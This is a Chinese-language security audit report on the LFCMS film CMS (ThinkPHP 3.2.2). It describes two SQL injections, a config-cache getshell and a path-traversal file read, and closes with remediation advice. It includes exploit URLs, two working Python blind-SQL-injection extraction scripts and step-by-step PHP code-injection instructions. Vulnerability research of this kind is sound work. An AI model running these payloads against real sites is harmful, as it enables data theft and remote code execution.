LFCMS漏洞审计与分析报告
前言
本报告针对LFCMS(一个基于ThinkPHP 3.2.2框架的影视管理系统)进行安全审计,发现了多个安全漏洞,包括SQL注入、后台getshell和任意文件读取漏洞。这些漏洞主要源于框架本身的缺陷和代码实现不当。
一、前台SQL注入漏洞(一)
漏洞原理
该漏洞源于ThinkPHP 3.2.2框架的find方法存在SQL注入漏洞,结合LFCMS对用户输入参数的不当处理导致。
漏洞位置
/Application/Home/Controller/NewsController.class.php中的index方法:
public function index(){
$id = I('get.id');
$detail = D('News')->detail($id);
$this->assign('detail',$detail);
$this->display();
}
调用了News模型的detail方法:
public function detail($id){
$prefix = C('DB_PREFIX');
$detail = $this->where(array('id'=>$id))->find();
return $detail;
}
利用方式
构造特殊参数利用TP3.2的注入点:
http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and 1--
漏洞验证
- 正常访问与注入访问页面差异
- 查看数据库日志确认SQL语句拼接
自动化利用脚本
import requests
url = 'http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and '
result = ''
for i in range(1, 50):
print('-')
for j in range(32, 127):
payload = 'if((ascii(substr((select database()),{},1))={}),1,0)--'.format(i, j)
temp = url + payload
try:
html = requests.get(temp, timeout=10)
if 'tttest' in html.text:
result += chr(j)
print(result)
break
except:
print('[-]error')
类似漏洞点
/Application/Home/Controller/MovieController.class.php中的index方法的id参数也存在相同问题。
二、前台SQL注入漏洞(二)
漏洞位置
/Application/Home/Controller/AjaxController.class.php中的randMovie方法:
public function randMovie(){
$limit = I('get.limit',6);
$category = I('get.category','');
$mlist = D('Ajax')->randMovie($limit,$category);
$this->ajaxReturn($mlist);
}
调用了Ajax模型的randMovie方法:
public function randMovie($limit=6,$category=''){
if($category) {
$type='and category='.$category;
}
$prefix=C('DB_PREFIX');
$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
foreach($mlist as $key=>$value) {
$list[$key]=D('Tag')->movieChange($value,'movie');
}
return $list;
}
漏洞原理
$type和$limit参数直接拼接到SQL语句中,没有使用参数化查询或过滤。
利用方式
http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5)
自动化利用脚本
import requests
url = 'http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and '
s = requests.session()
result = ""
for i in range(1, 50):
print('=')
for j in range(32, 127):
payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i, j)
temp = url + payload
try:
s.get(temp, timeout=5)
except:
result += chr(j)
print(result)
break
类似漏洞点
/Application/Home/Controller/PlayerController.class.php文件中的down方法调用的getPlayerUrl方法的pid参数也存在相同问题。
三、后台getshell漏洞
漏洞原理
- 后台配置数据未过滤
- 利用TP3.2的缓存机制写入恶意代码
漏洞位置
/Application/Admin/Controller/ConfigController.class.php中的save方法:
public function save(){
$config = I('post.');
foreach($config as $key=>$value){
$data = array('value'=>$value);
M('Config')->where(array('name'=>$key))->save($data);
}
$this->success('保存成功');
}
前台初始化时调用/Application/Home/Controller/HomeController.class.php中的_initialize方法:
public function _initialize(){
$config = S('DB_CONFIG_DATA');
if(!$config){
$config = D('Config')->lists();
S('DB_CONFIG_DATA',$config);
}
C($config);
}
利用步骤
- 登录后台,进入配置设置
- 在任意配置项中插入PHP代码,注意逃逸注释:
[原有配置值] <?php phpinfo();/* - 访问前台页面生成缓存文件
- 缓存文件位于
/Application/Runtime/Temp/目录下,文件名为DB_CONFIG_DATA的MD5值 - 直接访问缓存文件执行代码:
http://lfcms.com/Application/Runtime/Temp/95a1fe934b68ebfee8468bf0bc4f0000.php
四、任意文件读取漏洞
漏洞位置
/Application/Admin/Controller/TemplateController.class.php中的edit方法:
public function edit(){
$path = I('get.path');
$realpath = str_replace('*','/',$path);
$content = D('Template')->read($realpath);
$this->assign('content',$content);
$this->display();
}
调用了read方法:
public function read($filename,$type=''){
return $this->get($filename,'content',$type);
}
最终调用get方法:
public function get($filename,$name,$type=''){
if(!isset($this->contents[$filename])){
if(!is_file($filename)) return false;
$this->contents[$filename]=file_get_contents($filename);
}
$content=$this->contents[$filename];
$info = array(
'mtime' => filemtime($filename),
'content' => $content
);
return $info[$name];
}
利用方式
读取根目录下的index.php文件:
http://lfcms.com/admin.php?s=/Template/edit/path/*..*index.php
五、修复建议
- 升级ThinkPHP框架至最新安全版本
- 对所有用户输入进行严格过滤和验证
- 使用参数化查询替代直接SQL拼接
- 对后台配置数据进行HTML实体编码或过滤
- 限制文件读取操作的目录范围
- 对缓存文件内容进行安全检查